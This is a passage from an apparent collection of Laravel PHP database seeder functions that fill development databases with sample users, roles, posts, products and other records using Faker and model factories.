new Category;\n \t\t$category->name = $name;\n \t\t$category->save();\n \t}\n\n \tfor($i=0; $i<20; $i++) {\n \t\t$comment = new Comment;\n \t\t$comment->comment = $faker->paragraph();\n \t\t$comment->post_id = rand(1,20);\n \t\t$comment->save();\n \t}\n // $this->call(UsersTableSeeder::class);\n }", "public function run()\n {\n $this->call(RoleTableSeeder::class);\n $this->call(UserTableSeeder::class);\n \n factory('App\\Cat', 5)->create();\n $tags = factory('App\\Tag', 8)->create();\n\n factory(Post::class, 15)->create()->each(function($post) use ($tags){\n $post->comments()->save(factory(Comment::class)->make());\n $post->tags()->attach( $tags->random(mt_rand(1,4))->pluck('id')->toArray() );\n });\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('post')->insert(\n [\n 'title' => 'Test Post1',\n 'desc' => str_random(100).\" post1\",\n 'alias' => 'test1',\n 'keywords' => 'test1',\n ]\n );\n DB::table('post')->insert(\n [\n 'title' => 'Test Post2',\n 'desc' => str_random(100).\" post2\",\n 'alias' => 'test2',\n 'keywords' => 'test2',\n ]\n );\n DB::table('post')->insert(\n [\n 'title' => 'Test Post3',\n 'desc' => str_random(100).\" post3\",\n 'alias' => 'test3',\n 'keywords' => 'test3',\n ]\n );\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n \t$faker = Factory::create();\n \t\n \tforeach ($this->departments as $key => $department) {\n \t\tDepartment::create([\n \t\t\t'name' => $department\n \t\t]);\n \t}\n \tforeach ($this->collections as $key => $collection) {\n \t\tCollection::create([\n \t\t\t'name' => $collection\n \t\t]);\n \t}\n \t\n \t\n \tfor ($i=0; $i < 40; $i++) {\n \t\tUser::create([\n \t\t\t'name' \t=>\t$faker->name,\n \t\t\t'email' \t=>\t$faker->email,\n \t\t\t'password' \t=>\tbcrypt('123456'),\n \t\t]);\n \t} \n \t\n \t\n \tforeach ($this->departments as $key => $department) {\n \t\t//echo ($key + 1) . PHP_EOL;\n \t\t\n \t\tfor ($i=0; $i < 10; $i++) { \n \t\t\techo $faker->name . PHP_EOL;\n\n \t\t\tArt::create([\n \t\t\t\t'name'\t\t\t=> $faker->sentence(2),\n \t\t\t\t'img'\t\t\t=> $this->filenames[$i],\n \t\t\t\t'medium'\t\t=> 'canvas',\n \t\t\t\t'department_id'\t=> $key + 1,\n \t\t\t\t'user_id'\t\t=> $this->userIndex,\n \t\t\t\t'dimension'\t\t=> '18.0 x 24.0',\n\t\t\t\t]);\n \t\t\t\t\n \t\t\t\t$this->userIndex ++;\n \t\t}\n \t}\n \t\n \tdd(\"END\");\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // $this->dataCategory();\n factory(App\\Model\\Category::class, 70)->create();\n factory(App\\Model\\Producer::class, rand(5,10))->create();\n factory(App\\Model\\Provider::class, rand(5,10))->create();\n factory(App\\Model\\Product::class, 100)->create();\n factory(App\\Model\\Album::class, 300)->create();\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n\n factory('App\\User', 10 )->create();\n\n $users= \\App\\User::all();\n $users->each(function($user){ factory('App\\Category', 1)->create(['user_id'=>$user->id]); });\n $users->each(function($user){ factory('App\\Tag', 3)->create(['user_id'=>$user->id]); });\n\n\n $users->each(function($user){\n factory('App\\Post', 10)->create([\n 'user_id'=>$user->id,\n 'category_id'=>rand(1,20)\n ]\n );\n });\n\n $posts= \\App\\Post::all();\n $posts->each(function ($post){\n\n $post->tags()->attach(array_unique([rand(1,20),rand(1,20),rand(1,20)]));\n });\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $types = factory(\\App\\Models\\Type::class, 5)->create();\n\n $cities = factory(\\App\\Models\\City::class, 10)->create();\n\n $cities->each(function ($city) {\n $districts = factory(\\App\\Models\\District::class, rand(2, 5))->create([\n 'city_id' => $city->id,\n ]);\n\n $districts->each(function ($district) {\n $properties = factory(\\App\\Models\\Property::class, rand(2, 5))->create([\n 'type_id' => rand(1, 5),\n 'district_id' => $district->id\n ]);\n\n $properties->each(function ($property) {\n $galleries = factory(\\App\\Models\\Gallery::class, rand(3, 10))->create([\n 'property_id' => $property->id\n ]);\n });\n });\n });\n }", "public function run()\n {\n $this->call(UsersTableSeeder::class);\n\n $categories = factory(App\\Models\\Category::class, 10)->create();\n\n $categories->each(function ($category) {\n $category\n ->posts()\n ->saveMany(\n factory(App\\Models\\Post::class, 3)->make()\n );\n });\n }", "public function run()\n {\n $this->call(CategoriesTableSeeder::class);\n\n $users = factory(App\\User::class, 5)->create();\n $recipes = factory(App\\Recipe::class, 30)->create();\n $preparations = factory(App\\Preparation::class, 70)->create();\n $photos = factory(App\\Photo::class, 90)->create();\n $comments = factory(App\\Comment::class, 200)->create();\n $flavours = factory(App\\Flavour::class, 25)->create();\n $flavour_recipe = factory(App\\FlavourRecipe::class, 50)->create();\n $tags = factory(App\\Tag::class, 25)->create();\n $recipe_tag = factory(App\\RecipeTag::class, 50)->create();\n $ingredients = factory(App\\Ingredient::class, 25)->create();\n $ingredient_preparation = factory(App\\IngredientPreparation::class, 300)->create();\n \n \n \n DB::table('users')->insert(['name' => 'SimpleUtilisateur', 'email' => '[email protected]', 'password' => bcrypt('SimpleMotDePasse')]);\n \n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n // Sample::truncate();\n // TestItem::truncate();\n // UOM::truncate();\n Role::truncate();\n User::truncate();\n\n // factory(Role::class, 4)->create();\n Role::create([\n 'name'=> 'Director',\n 'description'=> 'Director type'\n ]);\n\n Role::create([\n 'name'=> 'Admin',\n 'description'=> 'Admin type'\n ]);\n Role::create([\n 'name'=> 'Employee',\n 'description'=> 'Employee type'\n ]);\n Role::create([\n 'name'=> 'Technician',\n 'description'=> 'Technician type'\n ]);\n \n factory(User::class, 20)->create()->each(\n function ($user){\n $roles = \\App\\Role::all()->random(mt_rand(1, 2))->pluck('id');\n $user->roles()->attach($roles);\n }\n );\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n UsersLevel::create([\n 'name' => 'Administrator'\n ]);\n\n UsersLevel::create([\n 'name' => 'User'\n ]);\n\n User::create([\n 'username' => 'admin',\n 'password' => bcrypt('admin123'),\n 'level_id' => 1,\n 'fullname' => \"Super Admin\",\n 'email'=> \"[email protected]\"\n ]);\n\n\n \\App\\CategoryPosts::create([\n 'name' =>'Paket Trip'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' =>'Destinasi Kuliner'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' => 'Event'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' => 'Profil'\n ]);\n }", "public function run()\n {\n DB::table('users')->insert([\n 'name' => 'Admin',\n 'email' => '[email protected]',\n 'avatar' => \"avatar\",\n 'password' => '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi',\n ]);\n $this->call(CategorySeeder::class);\n // \\App\\Models\\Admin::factory(1)->create();\n \\App\\Models\\User::factory(10)->create();\n // \\App\\Models\\Category::factory(50)->create();\n \\App\\Models\\PetComment::factory(50)->create();\n $pets = \\App\\Models\\Pet::factory(50)->create();\n foreach ($pets as $pet) {\n \\App\\Models\\PetTag::factory(1)->create(['pet_id' => $pet->id]);\n \\App\\Models\\PetPhotoUrl::factory(1)->create(['pet_id' => $pet->id]);\n \\App\\Models\\Order::factory(1)->create(['pet_id' => $pet->id]);\n };\n }", "public function run()\n { \n\n $this->call(RoleSeeder::class);\n \n $this->call(UserSeeder::class);\n\n Storage::deleteDirectory('socials-icon');\n Storage::makeDirectory('socials-icon');\n $socials = Social::factory(7)->create();\n\n Storage::deleteDirectory('countries-flag');\n Storage::deleteDirectory('countries-firm');\n Storage::makeDirectory('countries-flag');\n Storage::makeDirectory('countries-firm');\n $countries = Country::factory(18)->create();\n\n // Se llenan datos de la tabla muchos a muchos - social_country\n foreach ($countries as $country) {\n foreach ($socials as $social) {\n\n $country->socials()->attach($social->id, [\n 'link' => 'https://www.facebook.com/ministeriopalabrayespiritu/'\n ]);\n }\n }\n\n Person::factory(50)->create();\n\n Category::factory(7)->create();\n\n Video::factory(25)->create(); \n\n $this->call(PostSeeder::class);\n\n Storage::deleteDirectory('documents');\n Storage::makeDirectory('documents');\n Document::factory(25)->create();\n\n }", "public function run()\n {\n $faker = Faker::create('id_ID');\n /**\n * Generate fake author data\n */\n for ($i=1; $i<=50; $i++) { \n DB::table('author')->insert([\n 'name' => $faker->name\n ]);\n }\n /**\n * Generate fake publisher data\n */\n for ($i=1; $i<=50; $i++) { \n DB::table('publisher')->insert([\n 'name' => $faker->name\n ]);\n }\n /**\n * Seeding payment method\n */\n DB::table('payment')->insert([\n ['name' => 'Mandiri'],\n ['name' => 'BCA'],\n ['name' => 'BRI'],\n ['name' => 'BNI'],\n ['name' => 'Pos Indonesia'],\n ['name' => 'BTN'],\n ['name' => 'Indomaret'],\n ['name' => 'Alfamart'],\n ['name' => 'OVO'],\n ['name' => 'Cash On Delivery']\n ]);\n }", "public function run()\n {\n DatabaseSeeder::seedLearningStylesProbs();\n DatabaseSeeder::seedCampusProbs();\n DatabaseSeeder::seedGenderProbs();\n DatabaseSeeder::seedTypeStudentProbs();\n DatabaseSeeder::seedTypeProfessorProbs();\n DatabaseSeeder::seedNetworkProbs();\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n // MyList::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 3; $i++) {\n MyList::create([\n 'title' => 'List-'.($i+1),\n 'color' => $faker->sentence,\n 'icon' => $faker->randomDigitNotNull,\n 'index' => $faker->randomDigitNotNull,\n 'user_id' => 1,\n ]);\n }\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Products::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few products in our database:\n for ($i = 0; $i < 50; $i++) {\n Products::create([\n 'name' => $faker->word,\n 'sku' => $faker->randomNumber(7, false),\n ]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n User::create([\n 'name' => 'Pablo Rosales',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'status' => 1,\n 'role_id' => 1,\n 'movil' => 0\n ]);\n\n User::create([\n 'name' => 'Usuario Movil',\n 'email' => '[email protected]',\n 'password' => bcrypt('secret'),\n 'status' => 1,\n 'role_id' => 3,\n 'movil' => 1\n ]);\n\n Roles::create([\n 'name' => 'Administrador'\n ]);\n Roles::create([\n 'name' => 'Operaciones'\n ]);\n Roles::create([\n 'name' => 'Comercial'\n ]);\n Roles::create([\n 'name' => 'Aseguramiento'\n ]);\n Roles::create([\n 'name' => 'Facturación'\n ]);\n Roles::create([\n 'name' => 'Creditos y Cobros'\n ]);\n\n factory(App\\Customers::class, 100)->create();\n }", "public function run()\n {\n // php artisan db:seed --class=StoreTableSeeder\n\n foreach(range(1,20) as $i){\n $faker = Faker::create();\n Store::create([\n 'name' => $faker->name,\n 'desc' => $faker->text,\n 'tags' => $faker->word,\n 'address' => $faker->address,\n 'longitude' => $faker->longitude($min = -180, $max = 180),\n 'latitude' => $faker->latitude($min = -90, $max = 90),\n 'created_by' => '1'\n ]);\n }\n\n }", "public function run()\n {\n DB::table('users')->insert([\n 'name'=>\"test\",\n 'password' => Hash::make('123'),\n 'email'=>'[email protected]'\n ]);\n DB::table('tags')->insert(['name'=>'tags']);\n $this->call(UserSeed::class);\n $this->call(CategoriesSeed::class);\n $this->call(TopicsSeed::class);\n $this->call(CommentariesSeed::class);\n // $this->call(UsersTableSeeder::class);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n echo 'seeding permission...', PHP_EOL;\n $permissions = [\n 'role-list',\n 'role-create',\n 'role-edit',\n 'role-delete',\n 'formation-list',\n 'formation-create',\n 'formation-edit',\n 'formation-delete',\n 'user-list',\n 'user-create',\n 'user-edit',\n 'user-delete'\n ];\n foreach ($permissions as $permission) {\n Permission::create(['name' => $permission]);\n }\n echo 'seeding users...', PHP_EOL;\n\n $user= User::create(\n [\n 'name' => 'Mr. admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'remember_token' => null,\n ]\n );\n echo 'Create Roles...', PHP_EOL;\n Role::create(['name' => 'former']);\n Role::create(['name' => 'learner']);\n Role::create(['name' => 'admin']);\n Role::create(['name' => 'manager']);\n Role::create(['name' => 'user']);\n\n echo 'seeding Role User...', PHP_EOL;\n $user->assignRole('admin');\n $role = $user->assignRole('admin');\n $role->givepermissionTo(Permission::all());\n\n \\DB::table('languages')->insert(['name' => 'English', 'code' => 'en']);\n \\DB::table('languages')->insert(['name' => 'Français', 'code' => 'fr']);\n }", "public function run()\n {\n $this->call(UsersTableSeeder::class);\n $this->call(PermissionsSeeder::class);\n $this->call(RolesSeeder::class);\n $this->call(ThemeSeeder::class);\n\n //\n\n DB::table('paypal_info')->insert([\n 'client_id' => '',\n 'client_secret' => '',\n 'currency' => '',\n ]);\n DB::table('contact_us')->insert([\n 'content' => '',\n ]);\n DB::table('setting')->insert([\n 'site_name' => ' ',\n ]);\n DB::table('terms_and_conditions')->insert(['terms_and_condition' => 'text']);\n }", "public function run()\n {\n $this->call([\n UserSeeder::class,\n ]);\n\n User::factory(20)->create();\n Author::factory(20)->create();\n Book::factory(60)->create();\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(UserSeeder::class);\n $this->call(RolePermissionSeeder::class);\n $this->call(AppmodeSeeder::class);\n\n // \\App\\Models\\Appmode::factory(3)->create();\n \\App\\Models\\Doctor::factory(100)->create();\n \\App\\Models\\Unit::factory(50)->create();\n \\App\\Models\\Broker::factory(100)->create();\n \\App\\Models\\Patient::factory(100)->create();\n \\App\\Models\\Expence::factory(100)->create();\n \\App\\Models\\Testcategory::factory(100)->create();\n \\App\\Models\\Test::factory(50)->create();\n \\App\\Models\\Parameter::factory(50)->create();\n \\App\\Models\\Sale::factory(50)->create();\n \\App\\Models\\SaleItem::factory(100)->create();\n \\App\\Models\\Goption::factory(1)->create();\n \\App\\Models\\Pararesult::factory(50)->create();\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // DB::table('roles')->insert(\n // [\n // ['name' => 'admin', 'description' => 'Administrator'],\n // ['name' => 'student', 'description' => 'Student'],\n // ['name' => 'lab_tech', 'description' => 'Lab Tech'],\n // ['name' => 'it_staff', 'description' => 'IT Staff Member'],\n // ['name' => 'it_manager', 'description' => 'IT Manager'],\n // ['name' => 'lab_manager', 'description' => 'Lab Manager'],\n // ]\n // );\n\n // DB::table('users')->insert(\n // [\n // 'username' => 'admin', \n // 'password' => Hash::make('password'), \n // 'active' => 1,\n // 'name' => 'Administrator',\n // 'email' => '[email protected]',\n // 'role_id' => \\App\\Role::where('name', 'admin')->first()->id\n // ]\n // );\n\n DB::table('status')->insert([\n // ['name' => 'Active'],\n // ['name' => 'Cancel'],\n // ['name' => 'Disable'],\n // ['name' => 'Open'],\n // ['name' => 'Closed'],\n // ['name' => 'Resolved'],\n ['name' => 'Used'],\n ]);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(User::class)->create([\n 'name' => 'Qwerty',\n 'email' => '[email protected]',\n 'password' => bcrypt('secretpassw'),\n ]);\n\n factory(User::class, 59)->create([\n 'password' => bcrypt('secretpassw'),\n ]);\n\n for ($i = 1; $i < 11; $i++) {\n factory(Category::class)->create([\n 'name' => 'Category ' . $i,\n ]);\n }\n\n for ($i = 1; $i < 101; $i++) {\n factory(Product::class)->create([\n 'name' => 'Product ' . $i,\n ]);\n }\n }", "public function run()\n {\n\n \t// Making main admin role\n \tDB::table('roles')->insert([\n 'name' => 'Admin',\n ]);\n\n // Making main category\n \tDB::table('categories')->insert([\n 'name' => 'Other',\n ]);\n\n \t// Making main admin account for testing\n \tDB::table('users')->insert([\n 'name' \t\t=> 'Admin',\n 'email' \t=> '[email protected]',\n 'password' => bcrypt('12345'),\n 'role_id' => 1,\n 'created_at' => date('Y-m-d H:i:s' ,time()),\n 'updated_at' => date('Y-m-d H:i:s' ,time())\n ]);\n\n \t// Making random users and posts\n factory(App\\User::class, 10)->create();\n factory(App\\Post::class, 35)->create();\n }", "public function run()\n {\n $faker = Faker::create();\n\n \\DB::table('positions')->insert(array (\n 'codigo' => strtoupper($faker->randomLetter).$faker->postcode,\n 'nombre' => 'Chef',\n 'salario' => '15000.00'\n ));\n\n\t\t \\DB::table('positions')->insert(array (\n 'codigo' => strtoupper($faker->randomLetter).$faker->postcode,\n 'nombre' => 'Mesonero',\n 'salario' => '12000.00'\n ));\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = \\Faker\\Factory::create();\n\n foreach (range(1,5) as $index) {\n Lista::create([\n 'name' => $faker->sentence(2),\n 'description' => $faker->sentence(10), \n ]);\n } \n\n foreach (range(1,20) as $index) {\n $n = $faker->sentence(2);\n \tTarea::create([\n \t\t'name' => $n,\n \t\t'description' => $faker->sentence(10),\n 'lista_id' => $faker->numberBetween(1,5),\n 'slug' => Str::slug($n),\n \t\t]);\n } \n }", "public function run()\n {\n $faker = Faker::create('lt_LT');\n\n DB::table('users')->insert([\n 'name' => 'user',\n 'email' => '[email protected]',\n 'password' => Hash::make('123')\n ]);\n DB::table('users')->insert([\n 'name' => 'user2',\n 'email' => '[email protected]',\n 'password' => Hash::make('123')\n ]);\n\n foreach (range(1,100) as $val)\n DB::table('authors')->insert([\n 'name' => $faker->firstName(),\n 'surname' => $faker->lastName(),\n \n ]);\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(UsersTableSeeder::class);\n\n // DB::table('users')->insert([\n // 'name' => 'User1',\n // 'email' => '[email protected]',\n // 'password' => bcrypt('password'),\n // ]);\n\n\n $faker = Faker::create();\n \n foreach (range(1,10) as $index){\n DB::table('companies')->insert([\n 'name' => $faker->company(),\n 'email' => $faker->email(10).'@gmail.com',\n 'logo' => $faker->image($dir = '/tmp', $width = 640, $height = 480),\n 'webiste' => $faker->domainName(),\n \n ]);\n }\n \n \n foreach (range(1,10) as $index){\n DB::table('employees')->insert([\n 'first_name' => $faker->firstName(),\n 'last_name' => $faker->lastName(),\n 'company' => $faker->company(),\n 'email' => $faker->str_random(10).'@gmail.com',\n 'phone' => $faker->e164PhoneNumber(),\n \n ]);\n }\n\n\n\n }", "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n Flight::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 100; $i++) {\n\n\n Flight::create([\n 'flightNumber' => $faker->randomNumber(5),\n 'depAirport' => $faker->city,\n 'destAirport' => $faker->city,\n 'reservedWeight' => $faker->numberBetween(1000 - 10000),\n 'deptTime' => $faker->dateTime('now'),\n 'arrivalTime' => $faker->dateTime('now'),\n 'reservedVolume' => $faker->numberBetween(1000 - 10000),\n 'airlineName' => $faker->colorName,\n ]);\n }\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->truncteTables([\n 'users',\n 'products'\n ]);\n\n $this->call(UsersSeeder::class);\n $this->call(ProductsSeeder::class);\n\n }", "public function run()\n {\n /**\n * Dummy seeds\n */\n DB::table('metas')->truncate();\n $faker = Faker::create();\n\n for ($i=0; $i < 10; $i++) { \n DB::table('metas')->insert([\n 'id_rel' => $faker->randomNumber(),\n 'titulo' => $faker->sentence,\n 'descricao' => $faker->paragraph,\n 'justificativa' => $faker->paragraph,\n 'valor_inicial' => $faker->numberBetween(0,100),\n 'valor_atual' => $faker->numberBetween(0,100),\n 'valor_final' => $faker->numberBetween(0,10),\n 'regras' => json_encode([$i => [\"values\" => $faker->words(3)]]),\n 'types' => json_encode([$i => [\"values\" => $faker->words(2)]]),\n 'categorias' => json_encode([$i => [\"values\" => $faker->words(4)]]),\n 'tags' => json_encode([$i => [\"values\" => $faker->words(5)]]),\n 'active' => true,\n ]);\n }\n\n\n }", "public function run()\n {\n // $this->call(UserTableSeeder::class);\n\n $faker = Faker::create();\n\n $lessonIds = Lesson::lists('id')->all(); // An array of ID's in that table [1, 2, 3, 4, 5, 7]\n $tagIds = Tag::lists('id')->all();\n\n foreach(range(1, 30) as $index)\n {\n // a real lesson id\n // a real tag id\n DB::table('lesson_tag')->insert([\n 'lesson_id' => $faker->randomElement($lessonIds),\n 'tag_id' => $faker->randomElement($tagIds),\n ]);\n }\n }", "public function run()\n {\n $this->call(CategoriasTableSeeder::class);\n $this->call(UfsTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n $this->call(UserTiposTableSeeder::class);\n factory(App\\User::class, 2)->create();\n/* factory(App\\Models\\Categoria::class, 20)->create();*/\n/* factory(App\\Models\\Anuncio::class, 50)->create();*/\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n Language::truncate();\n Reason::truncate();\n Report::truncate();\n Category::truncate();\n Position::truncate();\n\n $languageQuantity = 10;\n $reasonQuantity = 10;\n $reportQuantity = 10;\n $categoryQuantity = 10;\n $positionQuantity = 10;\n\n factory(Language::class,$languageQuantity)->create();\n factory(Reason::class,$reasonQuantity)->create();\n \n factory(Report::class,$reportQuantity)->create();\n \n factory(Category::class,$categoryQuantity)->create();\n \n factory(Position::class,$positionQuantity)->create();\n\n }", "public function run()\n {\n // \\DB::statement('SET_FOREIGN_KEY_CHECKS=0');\n \\DB::table('users')->truncate();\n \\DB::table('posts')->truncate();\n // \\DB::table('category')->truncate();\n \\DB::table('photos')->truncate();\n \\DB::table('comments')->truncate();\n \\DB::table('comment_replies')->truncate();\n\n \\App\\Models\\User::factory()->times(10)->hasPosts(1)->create();\n \\App\\Models\\Role::factory()->times(10)->create();\n \\App\\Models\\Category::factory()->times(10)->create();\n \\App\\Models\\Comment::factory()->times(10)->hasReplies(1)->create();\n \\App\\Models\\Photo::factory()->times(10)->create();\n\n \n // \\App\\Models\\User::factory(10)->create([\n // 'role_id'=>2,\n // 'is_active'=>1\n // ]);\n\n // factory(App\\Models\\Post::class, 10)->create();\n // $this->call(UsersTableSeeder::class);\n }", "public function run()\n {\n $this->call([\n ArticleSeeder::class, \n TagSeeder::class,\n Arttagrel::class\n ]);\n // \\App\\Models\\User::factory(10)->create();\n \\App\\Models\\Article::factory()->count(7)->create();\n \\App\\Models\\Tag::factory()->count(15)->create(); \n \\App\\Models\\Arttagrel::factory()->count(15)->create(); \n }", "public function run()\n {\n $this->call(ArticulosTableSeeder::class);\n /*DB::table('articulos')->insert([\n 'titulo' => str_random(50),\n 'cuerpo' => str_random(200),\n ]);*/\n }", "public function run()\n {\n $this->call(CategoryTableSeeder::class);\n $this->call(ProductTableSeeder::class);\n\n \t\t\n\t\t\tDB::table('users')->insert([\n 'first_name' => 'Ignacio',\n 'last_name' => 'Garcia',\n 'email' => '[email protected]',\n 'password' => bcrypt('123456'),\n 'role' => '1',\n 'avatar' => 'CGnABxNYYn8N23RWlvTTP6C2nRjOLTf8IJcbLqRP.jpeg',\n ]);\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(RoleSeeder::class);\n $this->call(UserSeeder::class);\n\n Medicamento::factory(50)->create();\n Reporte::factory(5)->create();\n Cliente::factory(200)->create();\n Asigna_valor::factory(200)->create();\n Carga::factory(200)->create();\n }", "public function run()\n {\n $this->call([\n RoleSeeder::class,\n TicketSeeder::class\n ]);\n\n DB::table('departments')->insert([\n 'abbr' => 'IT',\n 'name' => 'Information Technologies',\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n\n DB::table('users')->insert([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'email_verified_at' => Carbon::now(),\n 'password' => Hash::make('admin'),\n 'department_id' => 1,\n 'avatar' => 'default.png',\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n\n DB::table('role_user')->insert([\n 'role_id' => 1,\n 'user_id' => 1\n ]);\n }", "public function run()\n {\n \\App\\Models\\Article::factory(20)->create();\n \\App\\Models\\Category::factory(5)->create();\n \\App\\Models\\Comment::factory(40)->create();\n\n \\App\\Models\\User::create([\n \"name\"=>\"Alice\",\n \"email\"=>'[email protected]',\n 'password' => Hash::make('password'),\n ]);\n \\App\\Models\\User::create([\n \"name\"=>\"Bob\",\n \"email\"=>'[email protected]',\n 'password' => Hash::make('password'),\n ]);\n }", "public function run()\n {\n /** \n * Note: You must add these lines to your .env file for this Seeder to work (replace the values, obviously):\n SEEDER_USER_FIRST_NAME = 'Firstname'\n SEEDER_USER_LAST_NAME = 'Lastname'\n\t\tSEEDER_USER_DISPLAY_NAME = 'Firstname Lastname'\n\t\tSEEDER_USER_EMAIL = [email protected]\n SEEDER_USER_PASSWORD = yourpassword\n */\n\t\tDB::table('users')->insert([\n 'user_first_name' => env('SEEDER_USER_FIRST_NAME'),\n 'user_last_name' => env('SEEDER_USER_LAST_NAME'),\n 'user_name' => env('SEEDER_USER_DISPLAY_NAME'),\n\t\t\t'user_email' => env('SEEDER_USER_EMAIL'),\n 'user_status' => 1,\n \t'password' => Hash::make((env('SEEDER_USER_PASSWORD'))),\n 'permission_fk' => 1,\n 'created_at' => Carbon::now()->format('Y-m-d H:i:s'),\n 'updated_at' => Carbon::now()->format('Y-m-d H:i:s')\n ]);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class,3)->create()->each(\n \tfunction($user)\n \t{\n \t\t$user->questions()\n \t\t->saveMany(\n \t\t\tfactory(App\\Question::class, rand(2,6))->make()\n \t\t)\n ->each(function ($q) {\n $q->answers()->saveMany(factory(App\\Answer::class, rand(1,5))->make());\n })\n \t}\n );\n }\n}", "public function run()\n {\n $faker = Faker::create();\n\n // $this->call(UsersTableSeeder::class);\n\n DB::table('posts')->insert([\n 'id'=>str_random(1),\n 'user_id'=> str_random(1),\n 'title' => $faker->name,\n 'body' => $faker->safeEmail,\n 'created_at' => date('Y-m-d H:i:s'),\n 'updated_at' => date('Y-m-d H:i:s'),\n ]);\n }", "public function run()\n\t{\n\t\tDB::table(self::TABLE_NAME)->delete();\n\n\t\tforeach (seed(self::TABLE_NAME) as $row)\n\t\t\t$records[] = [\n\t\t\t\t'id'\t\t\t\t=> $row->id,\n\t\t\t\t'created_at'\t\t=> $row->created_at ?? Carbon::now(),\n\t\t\t\t'updated_at'\t\t=> $row->updated_at ?? Carbon::now(),\n\n\t\t\t\t'sport_id'\t\t\t=> $row->sport_id,\n\t\t\t\t'gender_id'\t\t\t=> $row->gender_id,\n\t\t\t\t'tournamenttype_id'\t=> $row->tournamenttype_id ?? null,\n\n\t\t\t\t'name'\t\t\t\t=> $row->name,\n\t\t\t\t'external_id'\t\t=> $row->external_id ?? null,\n\t\t\t\t'is_top'\t\t\t=> $row->is_top ?? null,\n\t\t\t\t'logo'\t\t\t\t=> $row->logo ?? null,\n\t\t\t\t'position'\t\t\t=> $row->position ?? null,\n\t\t\t];\n\n\t\tinsert(self::TABLE_NAME, $records ?? []);\n\t}", "public function run()\n\t{\n\t\tDB::table('libros')->truncate();\n\n\t\t$faker = Faker\\Factory::create();\n\n\t\tfor ($i=0; $i < 10; $i++) { \n\t\t\tLibro::create([\n\n\t\t\t\t'titulo'\t\t=> $faker->text(40),\n\t\t\t\t'isbn'\t\t\t=> $faker->numberBetween(100,999),\n\t\t\t\t'precio'\t\t=> $faker->randomFloat(2,3,150),\n\t\t\t\t'publicado'\t\t=> $faker->numberBetween(0,1),\n\t\t\t\t'descripcion'\t=> $faker->text(400),\n\t\t\t\t'autor_id'\t\t=> $faker->numberBetween(1,3),\n\t\t\t\t'categoria_id'\t=> $faker->numberBetween(1,3)\n\n\t\t\t]);\n\t\t}\n\n\t\t// Uncomment the below to run the seeder\n\t\t// DB::table('libros')->insert($libros);\n\t}", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class, 10)->create()->each(function ($user) {\n // Seed the relation with 5 purchases\n // $videos = factory(App\\Video::class, 5)->make();\n // $user->videos()->saveMany($videos);\n // $user->videos()->each(function ($video){\n // \t$video->videometa()->save(factory(App\\VideoMeta::class)->make());\n // \t// :( \n // });\n factory(App\\User::class, 10)->create()->each(function ($user) {\n\t\t\t factory(App\\Video::class, 5)->create(['user_id' => $user->id])->each(function ($video) {\n\t\t\t \tfactory(App\\VideoMeta::class, 1)->create(['video_id' => $video->id]);\n\t\t\t // $video->videometa()->save(factory(App\\VideoMeta::class)->create(['video_id' => $video->id]));\n\t\t\t });\n\t\t\t});\n\n });\n }", "public function run()\n {\n // for($i=1;$i<11;$i++){\n // DB::table('post')->insert(\n // ['title' => 'Title'.$i,\n // 'post' => 'Post'.$i,\n // 'slug' => 'Slug'.$i]\n // );\n // }\n $faker = Faker\\Factory::create();\n \n for($i=1;$i<20;$i++){\n $dname = $faker->name;\n DB::table('post')->insert(\n ['title' => $dname,\n 'post' => $faker->text($maxNbChars = 200),\n 'slug' => str_slug($dname)]\n );\n }\n }", "public function run()\n {\n $this->call([\n CountryTableSeeder::class,\n ProvinceTableSeeder::class,\n TagTableSeeder::class\n ]);\n\n User::factory()->count(10)->create();\n Category::factory()->count(5)->create();\n Product::factory()->count(20)->create();\n Section::factory()->count(5)->create();\n Bundle::factory()->count(20)->create();\n\n $bundles = Bundle::all();\n // populate bundle-product table (morph many-to-many)\n Product::all()->each(function ($product) use ($bundles) {\n $product->bundles()->attach(\n $bundles->random(2)->pluck('id')->toArray(),\n ['default_quantity' => rand(1, 10)]\n );\n });\n // populate bundle-tags table (morph many-to-many)\n 